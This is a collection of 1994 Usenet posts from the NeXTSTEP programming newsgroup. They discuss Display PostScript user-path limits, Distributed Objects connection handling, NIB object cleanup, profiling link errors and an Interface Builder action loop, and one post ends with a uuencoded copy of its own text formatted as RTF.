61821 ------------------------------------------------------------------- "I am a happy nerd in cyberspace, where nobody can see my haircut."
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Re: Project Builder ideas for later release. Message-ID: <CLMx5E.18s@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany References: <2kctfa$vg@steffi.demon.co.uk> Date: Tue, 22 Feb 1994 16:44:01 GMT In article <2kctfa$vg@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > [munch] > 2. Perhaps enompasing 1. But I want some kind of API in PB that > allows me to extend on PB and have hooks from PB to IB. > [munch] yes. Yes. YES! Back in times, playing with the 3.0 PB, I already thought about adding other project types (which can be done, see PBLibraryProjectHack by Michael_Pizolato@afs.com), but knowing, what trouble I already have with updating makefiles whenever a new NEXTSTEP-Version comes up, I skipped that idea. But from version to version I am more disappointed, that there is NO DOCUMENTED API, where obviously are APIs (Mail, Edit, PB, IB...)! Gerd
Newsgroups: comp.sys.next.programmer From: Scott Byer <byer@mv.us.adobe.com> Subject: Re: Using DPSDoUserPath Message-ID: <1994Feb22.195713.15895@adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated References: <2kb18h$rui@nntp2.Stanford.EDU> Date: Tue, 22 Feb 1994 19:57:13 GMT Gary Scavone writes > I'm using the above function for drawing. It works for user path > lengths of 8192, but when I jump to a length of 16384 I get > undefined dps errors. Is there some upper limit on user path > lengths or view lengths? Yes, depending on memory availiable. There is a minimum of 1500 points allowable. Note, though, that there is no performance gain achieved by doing more than 1200 points at a time, and - strangely enough - that is about the appropriate limit to use when talking to an old Level 1 printer. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. ---------------------------------------------------------------------
From: c512052@monad.missouri.edu (David Drum) Newsgroups: comp.sys.next.programmer Subject: Command line program to concatenate two sound files? Date: 22 Feb 1994 21:12:58 GMT Organization: University of Missouri - Columbia Distribution: world Message-ID: <2kdsh8$2bt@golf.ustores.missouri.edu> Hi all, I have two REALLY BIG 16kHz stereo sound files which I would like to concatenate, and nothing more. Every .app I have used has choked on them. Is it possible to write a small command line program that taps into the sound objects necessary and outputs the concatenated file? How should I begin? Regards, David
Newsgroups: comp.sys.next.programmer From: belka@gb.swissbank.com (Andrew Belk) Subject: What is check_for_fast_niopen doing ? Date: Tue, 22 Feb 1994 21:48:24 +0000 Message-ID: <27042.199402222148@gpo.gb.swissbank.com> Sender: usenet@demon.co.uk Hi, I've just been profiling one of our apps, and it seems to be spending a lot of time in a function called check_for_fast_niopen. This is probably netinfo related, but I can't find any reference to it in the documentation. Could anyone by chance explain what the function does and why it should use up so much time (30% of a fairly idle app) ? Any help much appreciated. Andy Belk
From: Sean.Hill@iphysiol.unil.ch (Sean L. Hill) Newsgroups: comp.sys.next.programmer Subject: Re: Using DPSDoUserPath Date: 22 Feb 1994 22:36:46 GMT Organization: Institut de Physiologie, Universite de Lausanne Sender: -Not-Authenticated-[8561] Message-ID: <2ke1du$am0@cisun2000.unil.ch> References: <2kb18h$rui@nntp2.Stanford.EDU> <1994Feb22.195713.15895@adobe.com> Xdisclaimer: No attempt was made to authenticate the sender's name. In article <1994Feb22.195713.15895@adobe.com> Scott Byer <byer@mv.us.adobe.com> writes: > Gary Scavone writes > > > I'm using the above function for drawing. It works for user path > > lengths of 8192, but when I jump to a length of 16384 I get > > undefined dps errors. Is there some upper limit on user path > > lengths or view lengths? > > Yes, depending on memory availiable. There is a minimum of 1500 > points allowable. > Excuse me if I'm wrong, but I think Scott is tired today. There is a maximum of 15000. You need to break your userpath into smaller chunks. The Purple book on Display PostScript discusses this and other limits. Cheers- Sean ----- Sean L. Hill Institut de Physiologie / Universite de Lausanne Rue du Bugnon, 7 CH-1005 Lausanne SWITZERLAND E-mail: Sean.Hill@iphysiol.unil.ch NEXTMAIL: hill@iisnext1.unil.ch
From: Christopher_Lane@Med.Stanford.EDU Newsgroups: comp.sys.next.programmer Subject: Re: [IDEA] Making Backspace a preferences module Date: 22 Feb 1994 22:33:19 GMT Organization: Stanford University Message-ID: <2ke17f$cc9@nntp2.Stanford.EDU> References: <CLHxnp.1o7@friday.com> In article <CLHxnp.1o7@friday.com> bbum@friday.com writes: > it might be kind of an adventure to try and write it such that it can > connect to the postscript server/window manager w/o having an Application > instance and an Icon; A useful starting point might be the SpaceSaver bundle on the cs.orst.edu archive that I put together. It recasts BackSpace.app to be an alternate ScreenSaver.bundle for loginwindow.app and so has had the Application instance, Icon and related features of BackSpace stripped out already. - Christopher
Newsgroups: comp.sys.next.programmer From: lloyd@world.std.com (Christopher Lloyd) Subject: Re: Using DPSDoUserPath Message-ID: <CLnFD0.Muo@world.std.com> Organization: The World Public Access UNIX, Brookline, MA References: <2kb18h$rui@nntp2.Stanford.EDU> <1994Feb22.195713.15895@adobe.com> Date: Tue, 22 Feb 1994 23:17:23 GMT In article <1994Feb22.195713.15895@adobe.com> Scott Byer <byer@mv.us.adobe.com> writes: >Gary Scavone writes >> I'm using the above function for drawing. It works for user path >> lengths of 8192, but when I jump to a length of 16384 I get >> undefined dps errors. Is there some upper limit on user path >> lengths or view lengths? > >Yes, depending on memory availiable. There is a minimum of 1500 >points allowable. Hmm? I think you're confusing an encoded user path and a constructed path. You can send an encoded user path of around 16,000 points using DPSDoUserPath() to the window server before it starts burping. This was true in NS 2.0 too. However, a path constructed via moveto/lineto/ curveto has the limits you suggest, 1500 points or so. An interesting thing to be aware of is that if you use DPSDoUserPath() during printing, it unwinds the encoded path you give it and emits normal moveto/lineto's - BUT, if your user path is too (1500+ pts) long, it will burp. So your path will work great on the screen, but when you print/save it, it won't work because the path is too long. >Note, though, that there is no performance gain achieved by doing >more than 1200 points at a time, and - strangely enough - that is >about the appropriate limit to use when talking to an old Level 1 >printer. Well, you save trips to the window server, 10 trips of 1200 is slower than 1 trip of 12,000. Then again, if you store the paths in the window server, you can get rid of all the comm. overhead :) shrug, -- :: Christopher Lloyd :: Yrrid, Inc. :: lloyd@yrrid.com lloyd@world.std.com :: :: If I had known it was harmless, I would have killed it myself ::
Newsgroups: comp.sys.next.programmer From: eno@ecom.com (Eno Compton) Subject: how to programmatically page up/down text Message-ID: <CLnI1E.F85@csn.org> Keywords: page up/down programmaticallu Sender: news@csn.org (The Daily Planet) Organization: Colorado SuperNet, Inc. Date: Wed, 23 Feb 1994 00:15:13 GMT Would somebody please tell me how to page the text in my scroll view up or down programmatically? In other words, how to simulate alt up or down in the scroller? Thanks - Eno Compton - NeXT Mail Welcome.
From: mow@marsu.tynet.sub.org (Markus Wenzel) Newsgroups: comp.sys.next.programmer Subject: Re: Mux serial users? Date: 22 Feb 1994 09:12:54 +0100 Organization: Palumbian Research Labs Message-ID: <2kceq6$1h7@marsu.tynet.sub.org> References: <CLL2up.9MB@csn.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit c4craig@csn.org (Craig Anderson) writes: >I am in the process of developing some modem handling code for NS/fip. >I'd like to hear from others using Mark Salyzyn's Mux serial driver. It's simply great!!! Wanna know why? Look at this: marsu [~] % uuspeed duration: 145 sec speed: 1989 cps duration: 146 sec speed: 1992 cps duration: 145 sec speed: 1990 cps duration: 263 sec speed: 2004 cps duration: 140 sec speed: 1990 cps duration: 144 sec speed: 1998 cps duration: 144 sec speed: 1993 cps duration: 119 sec speed: 1983 cps duration: 148 sec speed: 1995 cps duration: 145 sec speed: 1989 cps duration: 144 sec speed: 1986 cps (uuspeed is a sed script grabbing all entries from STATFILE longer than 100 s). Configuration: Taylor-uucp, 38400 to modem, 16800 between modems (ZyXEL), window 7, packet-size 1024, g-protocol. Regards, Markus. -- Markus Wenzel System administration, Consulting, Networking mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT IRC: Marsu Veni, vidi, NeXTSTEPi.
From: slxn8@cc.usu.edu Newsgroups: comp.windows.x,comp.sys.next.programmer Subject: Re: NextStep .tiff to .xpm wanted Message-ID: <1994Feb22.155257.11573@cc.usu.edu> Date: 22 Feb 94 15:52:56 MDT References: <2kd0se$i0c@tardis.alcatel-alsthom.fr> Organization: Utah State University In article <2kd0se$i0c@tardis.alcatel-alsthom.fr>, archer@cett.alcatel-alsthom.fr (Vincent Archer) writes: > I have a few tiff images from some of NextStep's application that I want to > use as a base for some icons in one of my own application. I tar-ed these, > untar-ed on my home workstation, but I'm stuck now: > > - I have no function to load one of these .tiff into the X11 server as a pixmap > > - XV support .tiff, but not the "two-channel images" that NextStep's icons > seem to be. > > - My pbmplus doesn't seem to have a tiftoppm filter Get the the pbm source(available all over), and the TIFF library source (ucbvax.berkeley.edu:/pub/tiff/v3.0.tar.Z). Compile the TIFF library stuff, compile the pbmplus stuff (making the changes to the Makefiles per the instructions to use the TIFF library stuff) and your set. John Zollinger slxn8@cc.usu.edu
From: rgc@cs.umd.edu (Ross Garrett Cutler) Newsgroups: comp.sys.next.programmer Subject: How do you (best) free NIB objects? Date: 22 Feb 1994 20:16:16 -0500 Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 Distribution: world Message-ID: <2keap0$p67@dorito.cs.umd.edu> I have a NIB file will lots of objects (e.g. panels with buttons) in it. When I do a loadNibSection, the objects (templates) are instantiated. What is the best way to free these objects when I'm done with them? I realize I can create an outlet using the owner and delete them one at a time, but I'm looking for an easier way (I don't need outlets to the owner for many of the objects except for this purpose). What would be nice is that loadNibSection would return a list of the objects instantiated and I could just free the items in the list. (As an aside, what the heck does loadNibSection return -- the docs only say non-null on success.) Any ideas? Thanks, Ross. -- Ross Cutler University of Maryland, College Park Internet: rgc@cs.umd.edu
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (Gery Divry) Subject: Re: Detection of Connection break in Distributed Ojects Message-ID: <1994Feb22.214918.3113@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. References: <1994Feb21.170913.17456@xexos.com> Date: Tue, 22 Feb 1994 21:49:18 GMT Eddie Chan writes > Hi all, > > I am currently writing a server process which can accept > multiple clients using NXConnection. I need the server to be able to > detect if a client died and determin which client in order to log > and tidy up. > > can any help? > > eddie Hello Your problem is very easy you should read doc about Application Deaths Distributed applications generally need to know when cooperating applications die. For example, a server application should know when a client application dies (due to an application crash, a system crash, a signal, or other reason) so it can deallocate resources held on the client's behalf, and also avoid sending messages to a client that no longer exists. The Mach operating system tracks all resources held by a process, including the Mach ports used by the Distributed Objects system to send remote messages. The operating system notifies the Distributed Objects system of port deaths when an application dies. The Distributed Objects system, in turn, allows any number of objects to register for notification of the invalidation of the NXConnection object that is used to communicate over its port. An object must do two things to be notified of the death of a cooperating application: It must register for notification of invalidation of the connection to the application. It must conform to the NXSenderIsInvalid protocol and take appropriate action when the connection is invalidated. If the application has no Application object, it must spawn a separate thread to disburse port death notifications. This can be done as follows: [NXPort worryAboutPortInvalidation]; Note that in this case, senderIsInvalid: messages will be sent from the resultant separate thread, so the receiving object should be thread-safe. Typically, a new connection is created to vend the first object from one application to another. When your application gets an object in this manner, it should use the returned proxy to get the connection over which the object is accessed, and register for invalidation notification to know when the object becomes inaccessible. The following code gets the proxy for a remote server object and registers for notification of when the server goes away: server = [NXConnection connectToName:REGISTERED_NAME onHost:"*"]; if (server) { NXConnection * myConnection = [server connectionForProxy]; [myConnection registerForInvalidationNotification:self]; [myConnection setDelegate:self]; } In this example, the client also registered itself as the connection's delegate. In this way, the client can be informed (using the connection:didConnect: delegate method) when new connections are automatically created that share myConnection's input port. New, direct connections are formed when proxies are handed between applications. (This eliminates the inefficiency of sending a message over a connection to a proxy that would then forward the message over another connection to the real object.) When a new connection is formed in this manner, the client then has a dependency on the application from which it received the new object, so it should similarly register for invalidation notification on the new connection and it should set the delegate of the new connection appropriately. If an object registered for a connection's invalidation notification, it receives a senderIsInvalid: message from the NXConnection object when the connection is broken (when the connection receives a port death notification indicating an application death, typically). Proper behavior in response to such a notification is nontrivial. The application can examine the NXConnection's list of remote objects (by the remoteObjects method) to determine what objects, presumably in use by the application, are no longer accessible. There is no single solution to dealing with application deaths, but a robust architecture is generally one that enables associating a resource to a connection and allows the application to deal with the implications of a broken connection with a cooperating application. -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.UQF,5QF M<W=I<W,@2&5L=F5T:6-A.UQF,EQF;FEL(%1I;65S+5)O;6%N.WT*7&UA<F=L M,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT>#0V M,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q,34R M,%QF,%QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P($5D9&EE($-H86X@=W)I M=&5S7`H^($AI(&%L;"Q<"CX@7`H^(`E)(&%M(&-U<G)E;G1L>2!W<FET:6YG M(&$@<V5R=F5R('!R;V-E<W,@=VAI8V@@8V%N(&%C8V5P=%P*/B!M=6QT:7!L M92!C;&EE;G1S('5S:6YG($Y80V]N;F5C=&EO;BX@($D@;F5E9"!T:&4@<V5R M=F5R('1O(&)E(&%B;&4@=&\@7`H^(&1E=&5C="!I9B!A(&-L:65N="!D:65D M(&%N9"!D971E<FUI;B!W:&EC:"!C;&EE;G0@:6X@;W)D97(@=&\@;&]G7`H^ M(&%N9"!T:61Y('5P+EP*/B!<"CX@8V%N(&%N>2!H96QP/UP*/B!<"CX@961D M:65<"EP*7`I(96QL;R!<"EP*66]U<B!P<F]B;&5M(&ES('9E<GD@96%S>5P* M7`IY;W4@<VAO=6QD(')E860@9&]C(&%B;W5T7`H*7'!A<F1<9C%<8EQF<S,V M7&QI,C$P,%QF8S!<8V8P($%P<&QI8V%T:6]N($1E871H<UP*"EQF<S$V(%P* M"EQP87)D7'1X,C0X,%QT>#(X-C!<='@S,C0P7&8R7&(P7&9S,CA<;&DR,3`P M7&9C,%QC9C`@1&ES=')I8G5T960@87!P;&EC871I;VYS(&=E;F5R86QL>2!N M965D('1O(&MN;W<@=VAE;B!C;V]P97)A=&EN9R!A<'!L:6-A=&EO;G,@9&EE M+B`@1F]R(&5X86UP;&4L(&$@<V5R=F5R(&%P<&QI8V%T:6]N('-H;W5L9"!K M;F]W('=H96X@82!C;&EE;G0@87!P;&EC871I;VX@9&EE<R`H9'5E('1O(&%N M(&%P<&QI8V%T:6]N(&-R87-H+"!A('-Y<W1E;2!C<F%S:"P@82!S:6=N86PL M(&]R(&]T:&5R(')E87-O;BD@<V\@:70@8V%N(&1E86QL;V-A=&4@<F5S;W5R M8V5S(&AE;&0@;VX@=&AE(&-L:65N="=S(&)E:&%L9BP@86YD(&%L<V\@879O M:60@<V5N9&EN9R!M97-S86=E<R!T;R!A(&-L:65N="!T:&%T(&YO(&QO;F=E M<B!E>&ES=',N("!4:&4@36%C:"!O<&5R871I;F<@<WES=&5M('1R86-K<R!A M;&P@<F5S;W5R8V5S(&AE;&0@8GD@82!P<F]C97-S+"!I;F-L=61I;F<@=&AE M($UA8V@@<&]R=',@=7-E9"!B>2!T:&4@1&ES=')I8G5T960@3V)J96-T<R!S M>7-T96T@=&\@<V5N9"!R96UO=&4@;65S<V%G97,N("!4:&4@;W!E<F%T:6YG M('-Y<W1E;2!N;W1I9FEE<R!T:&4@1&ES=')I8G5T960@3V)J96-T<R!S>7-T M96T@;V8@<&]R="!D96%T:',@=VAE;B!A;B!A<'!L:6-A=&EO;B!D:65S+B`@ M5&AE($1I<W1R:6)U=&5D($]B:F5C=',@<WES=&5M+"!I;B!T=7)N+"!A;&QO M=W,@86YY(&YU;6)E<B!O9B!O8FIE8W1S('1O(')E9VES=&5R(&9O<B!N;W1I M9FEC871I;VX@;V8@=&AE(&EN=F%L:61A=&EO;B!O9B!T:&4@3EA#;VYN96-T M:6]N(&]B:F5C="!T:&%T(&ES('5S960@=&\@8V]M;75N:6-A=&4@;W9E<B!I M=',@<&]R="Y<"@I<9G,Q-B!<"@I<9G,R."!!;B!O8FIE8W0@;75S="!D;R!T M=V\@=&AI;F=S('1O(&)E(&YO=&EF:65D(&]F('1H92!D96%T:"!O9B!A(&-O M;W!E<F%T:6YG(&%P<&QI8V%T:6]N.EP*"EQF<S$V(%P*"EQF<S(X7&9I+3,X M,%QL:3(T.#`@MPE)="!M=7-T(')E9VES=&5R(&9O<B!N;W1I9FEC871I;VX@ M;V8@:6YV86QI9&%T:6]N(&]F('1H92!C;VYN96-T:6]N('1O('1H92!A<'!L M:6-A=&EO;BY<"@I<9G,Q-B!<"@I<9G,R.""W"4ET(&UU<W0@8V]N9F]R;2!T M;R!T:&4@3EA396YD97))<TEN=F%L:60@<')O=&]C;VP@86YD('1A:V4@87!P M<F]P<FEA=&4@86-T:6]N('=H96X@=&AE(&-O;FYE8W1I;VX@:7,@:6YV86QI M9&%T960N7`H*7&9S,38@7`H*7&9S,CA<9FDP7&QI,C$P,"!)9B!T:&4@87!P M;&EC871I;VX@:&%S(&YO($%P<&QI8V%T:6]N(&]B:F5C="P@:70@;75S="!S M<&%W;B!A('-E<&%R871E('1H<F5A9"!T;R!D:7-B=7)S92!P;W)T(&1E871H M(&YO=&EF:6-A=&EO;G,N("!4:&ES(&-A;B!B92!D;VYE(&%S(&9O;&QO=W,Z M7`H*7&9S,38@7`H*7'!A<F1<9C!<9G,R-%QL:3(T.#!<9F,P7&-F,"!;3EA0 M;W)T('=O<G)Y06)O=710;W)T26YV86QI9&%T:6]N73M<"@I<<&%R9%QT>#(T M.#!<='@R.#8P7'1X,S(T,%QF,EQF<S$V7&QI,C$P,%QF8S!<8V8P(%P*"EQF M<S(X($YO=&4@=&AA="!I;B!T:&ES(&-A<V4L(`I<8B!S96YD97))<TEN=F%L M:60Z"EQB,"`@;65S<V%G97,@=VEL;"!B92!S96YT(&9R;VT@=&AE(')E<W5L M=&%N="!S97!A<F%T92!T:')E860L('-O('1H92!R96-E:79I;F<@;V)J96-T M('-H;W5L9"!B92!T:')E860M<V%F92Y<"@I<9G,Q-B!<"@I<9G,R."!4>7!I M8V%L;'DL(&$@;F5W(&-O;FYE8W1I;VX@:7,@8W)E871E9"!T;R!V96YD('1H M92!F:7)S="!O8FIE8W0@9G)O;2!O;F4@87!P;&EC871I;VX@=&\@86YO=&AE M<BX@(%=H96X@>6]U<B!A<'!L:6-A=&EO;B!G971S(&%N(&]B:F5C="!I;B!T M:&ES(&UA;FYE<BP@:70@<VAO=6QD('5S92!T:&4@<F5T=7)N960@<')O>'D@ M=&\@9V5T('1H92!C;VYN96-T:6]N(&]V97(@=VAI8V@@=&AE(&]B:F5C="!I M<R!A8V-E<W-E9"P@86YD(')E9VES=&5R(&9O<B!I;G9A;&ED871I;VX@;F]T M:69I8V%T:6]N('1O(&MN;W<@=VAE;B!T:&4@;V)J96-T(&)E8V]M97,@:6YA M8V-E<W-I8FQE+B`@5&AE(&9O;&QO=VEN9R!C;V1E(&=E=',@=&AE('!R;WAY M(&9O<B!A(')E;6]T92!S97)V97(@;V)J96-T(&%N9"!R96=I<W1E<G,@9F]R M(&YO=&EF:6-A=&EO;B!O9B!W:&5N('1H92!S97)V97(@9V]E<R!A=V%Y.EP* M"EQF<S$V(%P*"EQP87)D7&8P7&9S,C1<;&DR-#@P7&9C,%QC9C`@<V5R=F5R M(#T@6TY80V]N;F5C=&EO;B!C;VYN96-T5&].86UE.E)%1TE35$52141?3D%- M12!O;DAO<W0Z(BHB73M<"FEF("AS97)V97(I7`I<>UP*("`@($Y80V]N;F5C M=&EO;B`J"6UY0V]N;F5C=&EO;B`](%MS97)V97(@8V]N;F5C=&EO;D9O<E!R M;WAY73M<"B`@("!;;7E#;VYN96-T:6]N(')E9VES=&5R1F]R26YV86QI9&%T M:6]N3F]T:69I8V%T:6]N.G-E;&9=.UP*("`@(%MM>4-O;FYE8W1I;VX@<V5T M1&5L96=A=&4Z<V5L9ET[7`I<?5P*"EQP87)D7'1X,C0X,%QT>#(X-C!<='@S M,C0P7&8R7&9S,39<;&DR,3`P7&9C,%QC9C`@7`H*7&9S,C@@26X@=&AI<R!E M>&%M<&QE+"!T:&4@8VQI96YT(&%L<V\@<F5G:7-T97)E9"!I='-E;&8@87,@ M=&AE(&-O;FYE8W1I;VXG<R!D96QE9V%T92X@($EN('1H:7,@=V%Y+"!T:&4@ M8VQI96YT(&-A;B!B92!I;F9O<FUE9"`H=7-I;F<@=&AE(`I<8B!C;VYN96-T M:6]N.F1I9$-O;FYE8W0Z"EQB,"`@9&5L96=A=&4@;65T:&]D*2!W:&5N(&YE M=R!C;VYN96-T:6]N<R!A<F4@875T;VUA=&EC86QL>2!C<F5A=&5D('1H870@ M<VAA<F4@"EQB(&UY0V]N;F5C=&EO;@I<8C`@)W,@:6YP=70@<&]R="X@($YE M=RP@9&ER96-T(&-O;FYE8W1I;VYS(&%R92!F;W)M960@=VAE;B!P<F]X:65S M(&%R92!H86YD960@8F5T=V5E;B!A<'!L:6-A=&EO;G,N("`H5&AI<R!E;&EM M:6YA=&5S('1H92!I;F5F9FEC:65N8WD@;V8@<V5N9&EN9R!A(&UE<W-A9V4@ M;W9E<B!A(&-O;FYE8W1I;VX@=&\@82!P<F]X>2!T:&%T('=O=6QD('1H96X@ M9F]R=V%R9"!T:&4@;65S<V%G92!O=F5R(&%N;W1H97(@8V]N;F5C=&EO;B!T M;R!T:&4@<F5A;"!O8FIE8W0N*2`@5VAE;B!A(&YE=R!C;VYN96-T:6]N(&ES M(&9O<FUE9"!I;B!T:&ES(&UA;FYE<BP@=&AE(&-L:65N="!T:&5N(&AA<R!A M(&1E<&5N9&5N8WD@;VX@=&AE(&%P<&QI8V%T:6]N(&9R;VT@=VAI8V@@:70@ M<F5C96EV960@=&AE(&YE=R!O8FIE8W0L('-O(&ET('-H;W5L9"!S:6UI;&%R M;'D@<F5G:7-T97(@9F]R(&EN=F%L:61A=&EO;B!N;W1I9FEC871I;VX@;VX@ M=&AE(&YE=R!C;VYN96-T:6]N(&%N9"!I="!S:&]U;&0@<V5T('1H92!D96QE M9V%T92!O9B!T:&4@;F5W(&-O;FYE8W1I;VX@87!P<F]P<FEA=&5L>2Y<"@I< M9G,Q-B!<"@I<9G,R."!)9B!A;B!O8FIE8W0@<F5G:7-T97)E9"!F;W(@82!C M;VYN96-T:6]N)W,@:6YV86QI9&%T:6]N(&YO=&EF:6-A=&EO;BP@:70@<F5C M96EV97,@82`*7&(@<V5N9&5R27-);G9A;&ED.@I<8C`@(&UE<W-A9V4@9G)O M;2!T:&4@3EA#;VYN96-T:6]N(&]B:F5C="!W:&5N('1H92!C;VYN96-T:6]N M(&ES(&)R;VME;B`H=VAE;B!T:&4@8V]N;F5C=&EO;B!R96-E:79E<R!A('!O M<G0@9&5A=&@@;F]T:69I8V%T:6]N(&EN9&EC871I;F<@86X@87!P;&EC871I M;VX@9&5A=&@L('1Y<&EC86QL>2DN("!0<F]P97(@8F5H879I;W(@:6X@<F5S M<&]N<V4@=&\@<W5C:"!A(&YO=&EF:6-A=&EO;B!I<R!N;VYT<FEV:6%L+B`@ M5&AE(&%P<&QI8V%T:6]N(&-A;B!E>&%M:6YE('1H92!.6$-O;FYE8W1I;VXG M<R!L:7-T(&]F(')E;6]T92!O8FIE8W1S("AB>2!T:&4@"EQB(')E;6]T94]B M:F5C=',*7&(P("!M971H;V0I('1O(&1E=&5R;6EN92!W:&%T(&]B:F5C=',L M('!R97-U;6%B;'D@:6X@=7-E(&)Y('1H92!A<'!L:6-A=&EO;BP@87)E(&YO M(&QO;F=E<B!A8V-E<W-I8FQE+B`@5&AE<F4@:7,@;F\@<VEN9VQE('-O;'5T M:6]N('1O(&1E86QI;F<@=VET:"!A<'!L:6-A=&EO;B!D96%T:',L(&)U="!A M(')O8G5S="!A<F-H:71E8W1U<F4@:7,@9V5N97)A;&QY(&]N92!T:&%T(&5N M86)L97,@87-S;V-I871I;F<@82!R97-O=7)C92!T;R!A(&-O;FYE8W1I;VX@ M86YD(&%L;&]W<R!T:&4@87!P;&EC871I;VX@=&\@9&5A;"!W:71H('1H92!I M;7!L:6-A=&EO;G,@;V8@82!B<F]K96X@8V]N;F5C=&EO;B!W:71H(&$@8V]O M<&5R871I;F<@87!P;&EC871I;VXN7`H*7&9S,38@7`H*7'!A<F1<='@Q,34R M7'1X,C,P-%QT>#,T-39<='@T-C`X7'1X-3<V,%QT>#8Y,3)<='@X,#8T7'1X J.3(Q-EQT>#$P,S8X7'1X,3$U,C!<9C!<9G,R-%QF8S!<8V8P(%P*"GT* `
Newsgroups: comp.sys.next.programmer From: Scott Byer <byer@mv.us.adobe.com> Subject: Re: Using DPSDoUserPath Message-ID: <1994Feb23.022138.914@adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated References: <2ke1du$am0@cisun2000.unil.ch> Date: Wed, 23 Feb 1994 02:21:38 GMT Sean L. Hill writes > In article <1994Feb22.195713.15895@adobe.com> > Scott Byer <byer@mv.us.adobe.com> writes: >> Gary Scavone writes >> > I'm using the above function for drawing. It works for user >> > path lengths of 8192, but when I jump to a length of 16384 >> > I get undefined dps errors. Is there some upper limit on >> > user path lengths or view lengths? >> Yes, depending on memory availiable. There is a minimum of 1500 >> points allowable. > Excuse me if I'm wrong, but I think Scott is tired today. There > is a maximum of 15000. You need to break your userpath into > smaller chunks. The Purple book on Display PostScript discusses > this and other limits. Well, there are two limits going on here. 1500 is the limit you should use if you're going to print to a Level 1 printer (Red Book, appendix B, and Purple Book, Section7.2, p118). ~13000 is the limit imposed by the pswrap machinery - the largest a single binary object can be is 64k bytes, unless the routine knows how to create an extended BOS. If all you're doing is moveto/lineto, that's 5 bytes per. In practice, since you have to write the loop to restrict the number of points sent at one time anyway, might as well restrict it to 1500 a pop, and not worry about Level 1 printers anymore. The extra time spent in doing more calls to the server is offset by what happens in the interpreter ;-) with really long encoded user paths (I did some timings at one point using one of the Purple Book programs - it's an interesting graph :-). -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. ---------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: erickson@oak.csis.gvsu.edu (Carl Erickson) Subject: profiling DBKit apps Message-ID: <1994Feb23.023413.29278@beech.csis.gvsu.edu> Sender: news@beech.csis.gvsu.edu Organization: Grand Valley State University Date: Wed, 23 Feb 1994 02:34:13 GMT When I build my application with profiling turned on, the build fails in the final linking stage with the following complaint: ld: multiple definitions of symbol _exit /lib/gcrt0.o definition of _exit in section (__TEXT,__text) /lib/libsys_s.a(exit.o) definition of absolute _exit (value 0x50024b0) It also seems that the profiling libraries aren't being linked in by PB. I've tried every possible combination of profiling versus shared libraries but I can't get my app to both 1) compile the DBKit stuff properly 2) resolve all symbols 3) avoid problem above of multiple defs of _exit I'd greatly appreciate some suggestions. I included the full cc invocation generated by PB below. Carl -- Carl Erickson, Asst Professor | Computer Science Dept Grand Valley State University | Allendale MI 49401 erickson@oak.csis.gvsu.edu | 616.895.2309 office 616.895.3506 fax | 616.243.3880 home cc -g -pg -O -Wall -DPROFILE -I./sym -I../include -arch m68k -ObjC -u libdbkit_s -u libNeXT_s -u libsys_s -sectcreate __ICON __header HRMan.iconheader -segprot __ICON r r -sectcreate __ICON app HRMan.tiff -o HRMan.profile/HRMan m68k_profile_obj/Clock.o m68k_profile_obj/Controller.o m68k_profile_obj/Cooperator.o m68k_profile_obj/Emp.o m68k_profile_obj/Lastclock.o m68k_profile_obj/Points.o m68k_profile_obj/RadioAssociation.o m68k_profile_obj/Wage.o m68k_profile_obj/HRMan_main.o -lMedia_s -lNeXT_s
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.next.programmer Subject: Two Switch Paradox Date: 23 Feb 1994 07:15:23 GMT Organization: Massachusetts Institute of Technology Distribution: world Message-ID: <2kevqb$6o7@senator-bedfellow.MIT.EDU> Interesting Experiment: Drag two switches onto an empty Interface Builder window. Connect one button to the other with a performClick: message. Now connect the second button to the first with the same message. Run the application, select one of the switches, and the app crashes. If you go into debug mode, you get a memory address exception error. If you type "where" to find out where on the stack you are, you get an infinite loop of messages like: #407 0x6060530 in -[Application sendAction:to:from:] () #408 0x6064dc4 in -[Control sendAction:to:] () #409 0x6073920 in -[Button performClick:] () #410 0x502ea68 in -[Object perform:with:] () #411 0x6060530 in -[Application sendAction:to:from:] () #412 0x6064dc4 in -[Control sendAction:to:] () #413 0x6073920 in -[Button performClick:] () #414 0x502ea68 in -[Object perform:with:] () Why does this happen? I connected two switches together in my app because I wanted one switch to deselect when the other selects, and vice versa, like a two-button toggle. There is probably a better way to get this type of behavior, but I haven't given it much thought (no, radio button won't work since I need two separate switches). Eric
